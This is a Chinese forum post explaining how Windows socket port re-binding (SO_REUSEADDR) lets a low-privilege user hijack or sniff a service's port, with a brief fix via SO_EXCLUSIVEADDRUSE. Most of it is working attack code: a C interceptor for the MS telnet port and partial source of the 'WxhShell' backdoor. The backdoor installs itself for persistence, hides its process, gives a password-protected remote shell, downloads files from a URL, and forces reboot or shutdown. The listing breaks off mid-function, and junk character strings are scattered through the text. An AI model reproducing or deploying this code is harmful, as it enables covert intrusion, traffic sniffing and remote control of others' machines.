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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {~bIA!kAFI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TN35CaSmq  
b!0DH[XKV  
  saddr.sin_family = AF_INET; 9u,8q:I.?  
#?{qlgv<p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MA\m[h]  
=)I"wR"v$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 90/vJN  
S!;L F4VA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B<|VeU  
mC i[Ps  
  这意味着什么?意味着可以进行如下的攻击: .u1X+P7  
]~-*hOcQ4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _1^8xFe2  
mZ~qG5@/F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }I]j&\  
n /QfdAg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q!6|lZB3  
&]P"48NT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nPcS3!7B#  
:{LAVMG&^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9!9> ?Z  
\dRzS@l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QyPg |#T2>  
X8/Tl \c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]3*P:$Rq  
ha*X6R  
  #include ~>V-*NT8  
  #include $<B +K  
  #include 1O |V=K  
  #include    |G(1[RNu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?c!:81+\  
  int main() Dv&>*0B  
  { qM %O  
  WORD wVersionRequested; F4Zn5&.)  
  DWORD ret; i+f7  
  WSADATA wsaData; UVB/vqGg  
  BOOL val; s]U4B<q  
  SOCKADDR_IN saddr; 'b^l'KN:S  
  SOCKADDR_IN scaddr; ~eP  
  int err; Nl@k*^  
  SOCKET s; W wuZ(>|  
  SOCKET sc; W9Nmx3ve  
  int caddsize; JqEW= 5  
  HANDLE mt; u~W{RHClW  
  DWORD tid;   OifvUTl9b  
  wVersionRequested = MAKEWORD( 2, 2 ); G.g|jP'n  
  err = WSAStartup( wVersionRequested, &wsaData ); iq?l#}]  
  if ( err != 0 ) { eNRs&^  
  printf("error!WSAStartup failed!\n"); !X|k"km"  
  return -1; $X*mdji  
  } hd B |#t  
  saddr.sin_family = AF_INET; #,L~w  
   7^$)VBQ/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '0|o`qoLzA  
7J UbVa%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z}ElpT[(;  
  saddr.sin_port = htons(23); 0DNU,u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z8HsYf(!  
  { 9R p2W  
  printf("error!socket failed!\n"); )MZC>:  
  return -1; J~KX|QY.S  
  } B^fT>1P  
  val = TRUE; uWjN2#&,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fW?sYC'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;+ azeW ^  
  { XphE loL  
  printf("error!setsockopt failed!\n"); W|MWXs5'1*  
  return -1; hN   
  } - v]Qhf&>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )%mg(O8uL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g5+7p@'fV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S]^`woD  
{ p;shs5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2*[QZ9U[@  
  { ~i ,"87$[  
  ret=GetLastError(); ]f8L:=c  
  printf("error!bind failed!\n"); lCJ6Ur;  
  return -1; oFCgu{\kt  
  } _X4!xbP  
  listen(s,2); {$d<1y^  
  while(1) y6-XHeU  
  { Q&CElx?L  
  caddsize = sizeof(scaddr); `'i( U7?  
  //接受连接请求 h7]EB!D\A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ? }yfKU`  
  if(sc!=INVALID_SOCKET) 7]E m ,  
  { yb2}_k.JG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bFY~oa%C  
  if(mt==NULL) ba3*]01Yb  
  { LY 0]l$  
  printf("Thread Creat Failed!\n"); Y9Z]i$qS&k  
  break; mM_ k ^4:  
  } qnChM ;)  
  } `zA#z />  
  CloseHandle(mt); VT\ "q1)p  
  } , sjh^-;  
  closesocket(s); thc <xxRP  
  WSACleanup(); _Mk7U@j+9  
  return 0; +D&Pp0xe  
  }   [Wi 1|]X"G  
  DWORD WINAPI ClientThread(LPVOID lpParam) IXpc,l `  
  { jq-l5})h  
  SOCKET ss = (SOCKET)lpParam; h|D0z_f  
  SOCKET sc; ;W]\rft[  
  unsigned char buf[4096]; +lE90y  
  SOCKADDR_IN saddr; *$,:m  
  long num; d%_OT0Ei  
  DWORD val; Fh8lmOL;?  
  DWORD ret; (UL4+ta  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t~``md4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3Fs5RC~a  
  saddr.sin_family = AF_INET; &c>?~-!W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); / 3!fA=+  
  saddr.sin_port = htons(23); tyh@ ^7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %eg+F  
  { H,QTYXi "  
  printf("error!socket failed!\n"); y7/F _{  
  return -1; j$Ab>}g]  
  } `d\r;cE%lm  
  val = 100; "%qzj93>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )G~w[~  
  { V5i*O3a~   
  ret = GetLastError(); 1yQejw  
  return -1; =LkR!R=  
  } 'Gl&Pa1g?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k D5!}+y  
  { |'d>JT:  
  ret = GetLastError(); ^uBxgWIC  
  return -1; ? *>]")[>  
  } *.#oxcll  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >UDd @  
  { ~PnTaAPJ  
  printf("error!socket connect failed!\n"); Fv74bC %  
  closesocket(sc); h[o6-f<D  
  closesocket(ss); zZ=pP5y8  
  return -1; #P<N^[m  
  } Hnk:K9u.B:  
  while(1) "ZwKk G  
  { ,<-G<${  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S35~Cp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .8(OT./  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {vEOn-(7  
  num = recv(ss,buf,4096,0); m_+sR!\H8  
  if(num>0) UCW V2Mu  
  send(sc,buf,num,0); ag-f{UsTy  
  else if(num==0) H@bf'guA|B  
  break; nKa$1RMO  
  num = recv(sc,buf,4096,0); 2*w0t:Yx e  
  if(num>0) Dre2J<QL  
  send(ss,buf,num,0); z2_6??tS/c  
  else if(num==0) $5x ,6[&  
  break; eI45PMP  
  } rf~Y6U?7  
  closesocket(ss); 8N&+7FK  
  closesocket(sc); 1u3, '8F  
  return 0 ; L){iA-k;Ec  
  } \K`L3*cBKK  
5GA C`}}  
,R%q}IH#  
========================================================== SZaS;hhhHu  
[S5\#=_4S  
下边附上一个代码,,WXhSHELL gzoEUp =s  
'R-3fO???  
========================================================== ?;[w" `"  
wLc4Dm*V  
#include "stdafx.h" 1 zw*/dp  
*(C(tPhC  
#include <stdio.h> HK`I\,K  
#include <string.h> ZKHG!`X0  
#include <windows.h> pRkP~ZISU  
#include <winsock2.h> )nL`H^  
#include <winsvc.h> fU=B4V4@  
#include <urlmon.h> 8J$|NYv_b  
9mA{K    
#pragma comment (lib, "Ws2_32.lib") .X# `k  
#pragma comment (lib, "urlmon.lib") vz.>~HBP  
1-lu\"H`  
#define MAX_USER   100 // 最大客户端连接数 nRyU]=-X  
#define BUF_SOCK   200 // sock buffer n]E?3UGD@W  
#define KEY_BUFF   255 // 输入 buffer Cj~'Lhmv'T  
}=c85f~i  
#define REBOOT     0   // 重启 {~Rk2:gx  
#define SHUTDOWN   1   // 关机 aDO !  
y=?)n\ f  
#define DEF_PORT   5000 // 监听端口 ;>n,:355L  
AGLscf.  
#define REG_LEN     16   // 注册表键长度 % qV 6  
#define SVC_LEN     80   // NT服务名长度 eek7=Z  
|{CfWSB7~@  
// 从dll定义API 8Z(Mvq]f&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : q#Xq;Wp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Nofp&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); phM>.y_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |*}4 m'c  
15o9 .   
// wxhshell配置信息 n2iJ%_zp  
struct WSCFG { ty8v 6J#  
  int ws_port;         // 监听端口 ")d`dj\o  
  char ws_passstr[REG_LEN]; // 口令 d_IAs  
  int ws_autoins;       // 安装标记, 1=yes 0=no xlQBe-Wg  
  char ws_regname[REG_LEN]; // 注册表键名 4$P0:  
  char ws_svcname[REG_LEN]; // 服务名 }GeSu|m(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [VE8V-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c%MW\qx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <J^MCqp!v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O)[1x4U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vM5k_D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rzt Ru  
ZIQ [bE7  
}; hEp(A8g)bQ  
Z]B~{!W1  
// default Wxhshell configuration |UX(+; n  
struct WSCFG wscfg={DEF_PORT, ]*AR,0N&  
    "xuhuanlingzhe", {WYX~Mvvj  
    1, ZpnxecJUJ  
    "Wxhshell", Za 1QC;7  
    "Wxhshell", K*~0"F>"0  
            "WxhShell Service", cXKjrL[b  
    "Wrsky Windows CmdShell Service", 3f,hw5R  
    "Please Input Your Password: ", /pT =0=  
  1, B]Thn  
  "http://www.wrsky.com/wxhshell.exe", *{L)dW+:  
  "Wxhshell.exe" s,]z[qB#$  
    }; zx)z/1  
+mn ,F};  
// 消息定义模块 , GP?amh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HhvdqvIEG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x^y'P<ypw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L U={")TdQ  
char *msg_ws_ext="\n\rExit."; ]"?)Z  
char *msg_ws_end="\n\rQuit."; sVOyT*GY  
char *msg_ws_boot="\n\rReboot..."; PK`D8)=u  
char *msg_ws_poff="\n\rShutdown..."; t+!$[K0/  
char *msg_ws_down="\n\rSave to "; hpD!2 K3>  
c9&xe"v  
char *msg_ws_err="\n\rErr!"; oC0qG[yp9S  
char *msg_ws_ok="\n\rOK!"; njputEGX  
>&}%+r\  
char ExeFile[MAX_PATH]; >s<^M|S07  
int nUser = 0; ivN&HAxI@  
HANDLE handles[MAX_USER]; f=WDR m]  
int OsIsNt; 0"f\@8r(  
L6|oyf  
SERVICE_STATUS       serviceStatus; ^SF&=NpV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]SLP}Jwy  
toBHkiuD  
// 函数声明  &7K?w~  
int Install(void); uFinv2Z '  
int Uninstall(void); |R/%D%_g  
int DownloadFile(char *sURL, SOCKET wsh); A;]}m8(*  
int Boot(int flag); 1=d6NX)B  
void HideProc(void); \D*KGd]M0  
int GetOsVer(void); 62ws/8d6f  
int Wxhshell(SOCKET wsl); Yp^rR }N  
void TalkWithClient(void *cs); k@k&}N0{  
int CmdShell(SOCKET sock); `T5W}p[6  
int StartFromService(void); ]1#e#M]#  
int StartWxhshell(LPSTR lpCmdLine); Yfzl%wc  
Ju1D = b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @~"h62=] -  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j~[z2tV  
|}Nn!Sj>#;  
// 数据结构和表定义 3cK I  
SERVICE_TABLE_ENTRY DispatchTable[] = 0tT(W^ho g  
{ :&V h?  
{wscfg.ws_svcname, NTServiceMain}, ?kbiMs1;u  
{NULL, NULL} c7x~{V8  
};  Ac2n  
{Tq_7,8  
// 自我安装 V{/?FO?E  
int Install(void) a%/9v"}  
{ s@K4u^$A  
  char svExeFile[MAX_PATH]; 8 Hg+H=?  
  HKEY key; 2fn&#kw/  
  strcpy(svExeFile,ExeFile); 0=2@  
b*c*r dTx  
// 如果是win9x系统,修改注册表设为自启动 *zb Nd:i9  
if(!OsIsNt) { |B.Y6L6l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P-yjN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <7/R,\Wg~  
  RegCloseKey(key); 7QiIiWqIWC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \/zq7j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YIQ 4t  
  RegCloseKey(key); N"Zt47(  
  return 0; @#T|Y&  
    } $_"'&zQ'  
  } 7q?, ?  
} 3Q.#c,`jV  
else { PNgY >=Y  
l rlgz[  
// 如果是NT以上系统,安装为系统服务 C zs8!S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1\ o59Y  
if (schSCManager!=0) Yg%I?  
{ v&DI`xn~  
  SC_HANDLE schService = CreateService  ]hk  
  ( )r xX+k+b/  
  schSCManager, I9_RlAd  
  wscfg.ws_svcname, s >7}zU]  
  wscfg.ws_svcdisp, S9]'?|  
  SERVICE_ALL_ACCESS, m Bu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` Mjj@[  
  SERVICE_AUTO_START, *\+\5pu0  
  SERVICE_ERROR_NORMAL, PUp6Q;AdQ  
  svExeFile, H<i]V9r  
  NULL, 5F)C  jQ  
  NULL, jnO9j_CY  
  NULL, 6F!+T=  
  NULL, xpV|\2C  
  NULL 4&<oFW\r  
  ); i [7\[  
  if (schService!=0) `VA"vwz  
  { =Y{(%sn  
  CloseServiceHandle(schService); <\r T%f}3^  
  CloseServiceHandle(schSCManager); UZ\u;/}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qeVfE_<  
  strcat(svExeFile,wscfg.ws_svcname); @ym v< Mo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QwW&\h[8?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y-'$(x  
  RegCloseKey(key); ]7W&JKmA&  
  return 0; :~&~y-14  
    } c}lb%^;)E  
  } AVlhNIr  
  CloseServiceHandle(schSCManager); 4VJ-,Z  
} N)uSG&S:  
} 6Zm# bFQ  
ElcjtYu4  
return 1; s4X>.ToMC  
} k:t ]s_`<  
Yb|c\[ %  
// 自我卸载 ]sf7{lVT  
int Uninstall(void) Z]>O+  
{ |mxDjgq  
  HKEY key; !JHL\M>A5  
Ra)3+M!x  
if(!OsIsNt) { Y2N>HK0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q 3hKk$Y  
  RegDeleteValue(key,wscfg.ws_regname); '}ptj@,  
  RegCloseKey(key); \=VtHu92=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :C(=&g<]D  
  RegDeleteValue(key,wscfg.ws_regname); ^me-[ 5  
  RegCloseKey(key); u%&`}g  
  return 0; dyz2.ZY~2  
  } EizKoHI-z  
} M8kPj8}{  
} + nrbShV  
else { l+xX/A)  
jFQQ`O V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~ (|5/ p7t  
if (schSCManager!=0) !E<[JM  
{ (5$!MUS~9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EU2$f  
  if (schService!=0) }"nItcp.1  
  { n,vct<&z@  
  if(DeleteService(schService)!=0) { xK *b1CB  
  CloseServiceHandle(schService); Qf~vZtJ+J  
  CloseServiceHandle(schSCManager); I5k$H$  
  return 0; ^cOUQ33  
  } sJB;3"~  
  CloseServiceHandle(schService); LM:vsG  
  } BRw .]&/  
  CloseServiceHandle(schSCManager); y`<*U;xL  
} =Gpylj7?~  
} 5kc/Y/4o  
f',Op1o  
return 1; \j@OZ   
} 1!xQ=DU"  
,Xu-@br{  
// 从指定url下载文件 xgwY@'GN  
int DownloadFile(char *sURL, SOCKET wsh) b1(T4w6  
{ >!eAM )  
  HRESULT hr; ,`'Qi%O  
char seps[]= "/"; @6Y?\Wx$w  
char *token; v [wb~uw\  
char *file; :}He\V  
char myURL[MAX_PATH]; 9P1OP Xv*p  
char myFILE[MAX_PATH]; (!ux+K  
)tC5Hijq,  
strcpy(myURL,sURL); C.WX.Je  
  token=strtok(myURL,seps); ~Otq %MQ  
  while(token!=NULL) k|e7a2Wwt  
  { EaO6[E  
    file=token; 2,DXc30I  
  token=strtok(NULL,seps); lp.ldajN  
  } x>**;#7)  
SL Ws*aq  
GetCurrentDirectory(MAX_PATH,myFILE); @x*c1%wg  
strcat(myFILE, "\\"); u4t7Ie*Q  
strcat(myFILE, file); _F6OM5F"N  
  send(wsh,myFILE,strlen(myFILE),0); :i0uPh\0  
send(wsh,"...",3,0); $njUXSQ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S3q&rqarC%  
  if(hr==S_OK) 4`4kfiS$  
return 0; Tm~" IB*  
else \o z#l'z  
return 1; iFd+2S%  
TJ10s%,V  
} 8H%;WU9-  
iN bIp"W  
// 系统电源模块 }5ret  
int Boot(int flag) +5w))9@  
{ 2~Kgv|09  
  HANDLE hToken; R[zpD%CI  
  TOKEN_PRIVILEGES tkp; $.Qkb@}  
]&o$b]  
  if(OsIsNt) { ;;!yC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NxkGOAOE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J4k=A7^N  
    tkp.PrivilegeCount = 1; 2":pE U{E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q 1U\D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h=W:^@G  
if(flag==REBOOT) { %:M ^4~dc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bZ dNibN  
  return 0; @3>u@  
} f/U`  
else { W\>fh&!)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cz9xZA{[M  
  return 0; ,kyJAju>  
} g{7.r-uu  
  } AuvkecuIh  
  else { oI?3<M^  
if(flag==REBOOT) { S(k3 `;K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^%d\qd`   
  return 0; YX!{P=Ua  
} n7zm>&  
else { R"-mKT}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r)Ma3FL0;  
  return 0; |-fg j'  
} /fKx} }g)  
} 5[8xV%>;  
Lz |? ek7Q  
return 1; 1XrO~W\=  
} e2AX0(  
5Y.)("1f}f  
// win9x进程隐藏模块 4R#chQ  
void HideProc(void) ?fQ'^agq  
{ @bi}W`  
RF`.xQ26=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OTvPUkp*  
  if ( hKernel != NULL ) 1D7nkAy  
  { WltQ63u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g&^quZ"H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +G$4pt|=  
    FreeLibrary(hKernel); >f|||H}Snw  
  } P9/q|>F  
`}D,5^9]  
return; [meO[otb  
} 5-FQMXgThc  
N+9VYH"*  
// 获取操作系统版本 S50k>_a;  
int GetOsVer(void) s,"]aew  
{ ?so=;gh  
  OSVERSIONINFO winfo; mu\6z_e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H[NSqu.s  
  GetVersionEx(&winfo); 7!e vm;A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ntu5{L'8  
  return 1; v3*_9e  
  else D.r<QO~6B  
  return 0; 2+RUTOv/d  
} VRVO-Sk  
M  f}~{+  
// 客户端句柄模块 c_dVWh e  
int Wxhshell(SOCKET wsl) zKyyU}LHH  
{ b10cuy|a/X  
  SOCKET wsh; tl[Uw[  
  struct sockaddr_in client; P:hBt\5B  
  DWORD myID; U2ohHJ``  
6gkV*|U,e  
  while(nUser<MAX_USER) B*eC3ok3z  
{ 1Rt33\1J0  
  int nSize=sizeof(client); dhC$W!N7!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0XOp3  
  if(wsh==INVALID_SOCKET) return 1; -$t{>gO#Y  
C>]0YO k2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mbKZJ{|4s  
if(handles[nUser]==0) kq?Ms|h  
  closesocket(wsh); nxO"ua  
else ^NLmgw Q  
  nUser++; 9d>-MX'  
  } ]N/=Dd+|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -5)H<dAQZ  
hE &xE;  
  return 0; G ?9"Y%  
} _Ym]Mj' ln  
zZ:>do\2  
// 关闭 socket bpOYHc6,*`  
void CloseIt(SOCKET wsh) 'g">LQ~a+  
{ ):P?  
closesocket(wsh); # ncRb  
nUser--; l.(v^3:X  
ExitThread(0); *o]L|Vu  
} > ;jZa  
3(``#7  
// 客户端请求句柄 `b?R#:G  
void TalkWithClient(void *cs) Av$]|b  
{ Vk` h2BV  
mJ<=n?{Z  
  SOCKET wsh=(SOCKET)cs; Qu"8(Jk/  
  char pwd[SVC_LEN]; S\^P ha q  
  char cmd[KEY_BUFF]; |e=,oV"  
char chr[1]; ay4 %  
int i,j; \Yy$MLs  
['b}QW@Fx  
  while (nUser < MAX_USER) { Z/G ev"p  
w3N[9w?1  
if(wscfg.ws_passstr) { 0}<|7?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3t.l5m Rg5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  52Yq  
  //ZeroMemory(pwd,KEY_BUFF); #`~C)=-  
      i=0; +<'Ev~  
  while(i<SVC_LEN) { r^2p*nr}  
"N;`1ce  
  // 设置超时 ?K1/ <PE+  
  fd_set FdRead; HUcq% .  
  struct timeval TimeOut; 6 [k\@&V-  
  FD_ZERO(&FdRead); Jf@H/luW  
  FD_SET(wsh,&FdRead); 2Zm0qJ  
  TimeOut.tv_sec=8; X enE^e+9  
  TimeOut.tv_usec=0; 1}"++Z73P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a a<8,;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0`Kj 25  
)z>|4@,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qo>b*Ku;  
  pwd=chr[0]; @<,X0S  
  if(chr[0]==0xd || chr[0]==0xa) { -6Z\qxKqZ  
  pwd=0; $5 >e  
  break; },uF 4M.K  
  } %]\kgRr  
  i++; #+JG(^%B  
    } 4d"r^y'  
SfA\}@3  
  // 如果是非法用户,关闭 socket \ S_Ou   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G3t xj  
} }#3V+X  
.b_)%jd x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y@1+I ~@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >d@&2FTO  
uMUBh 80,L  
while(1) { 85>05 ?  
.GbX]?dN  
  ZeroMemory(cmd,KEY_BUFF); GXcJ< v  
eJ,/:=QQ{  
      // 自动支持客户端 telnet标准   @efh{  
  j=0; "_P;2N6  
  while(j<KEY_BUFF) { Y=%tn8<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MvuQz7M#d  
  cmd[j]=chr[0]; % BVs47g  
  if(chr[0]==0xa || chr[0]==0xd) { ysJQb~2q  
  cmd[j]=0; >u>5{4  
  break; )S3\,S-.  
  } zofa-7'Bn  
  j++; toLV4BtIG  
    } #||}R[~P"  
:1^LsLr5  
  // 下载文件 "/yC@VC>  
  if(strstr(cmd,"http://")) { !1rlN8w(qr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^/uA?h:]\  
  if(DownloadFile(cmd,wsh)) ~3^ 8>d/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YD <:,|H   
  else Mo y <@+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); svsqg{9z  
  } @>u}eB>Kn  
  else { b`(}.r?W  
?fiIwF)  
    switch(cmd[0]) { =MSr/O2  
  z-BXd  
  // 帮助 $:BKzHmg  
  case '?': { l~1Oef#y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &]g}u5J!=  
    break; 6 uv#de  
  } bNm#tmSt  
  // 安装 ICpAt~3[M  
  case 'i': { jGJLSEe_  
    if(Install()) .I$qCb|FP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2^Eg9y'  
    else fA&k`L(y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k@\ iGqo  
    break; VX].3=T8  
    } >i_ 2OV  
  // 卸载 j@=%_^:i  
  case 'r': { EtJHR  
    if(Uninstall()) Ua<5U5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @V(*65b2  
    else B+Rm>^CBm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^tqzq0  
    break; I+BHstF5um  
    } Bu#E9hJFvA  
  // 显示 wxhshell 所在路径 UGD2  
  case 'p': {  >d*iD  
    char svExeFile[MAX_PATH]; ^b/ Z)3  
    strcpy(svExeFile,"\n\r"); ?iPC*  
      strcat(svExeFile,ExeFile); I*%-cA%l  
        send(wsh,svExeFile,strlen(svExeFile),0); WgR).Yx  
    break; ,f<?;z  
    } vmi+_]   
  // 重启 bT\1>  
  case 'b': { ]}*R|1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BYpG  
    if(Boot(REBOOT)) _?<|{O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7zA'ri3w  
    else { 8R2QZXJb-  
    closesocket(wsh); Jy^u?  
    ExitThread(0); >5_2_Y$"  
    } "/)#O~  
    break; Diy8gt  
    } ztnFhJ<a$  
  // 关机 MPCBT!o4Z  
  case 'd': { M:XSQ["6>V  
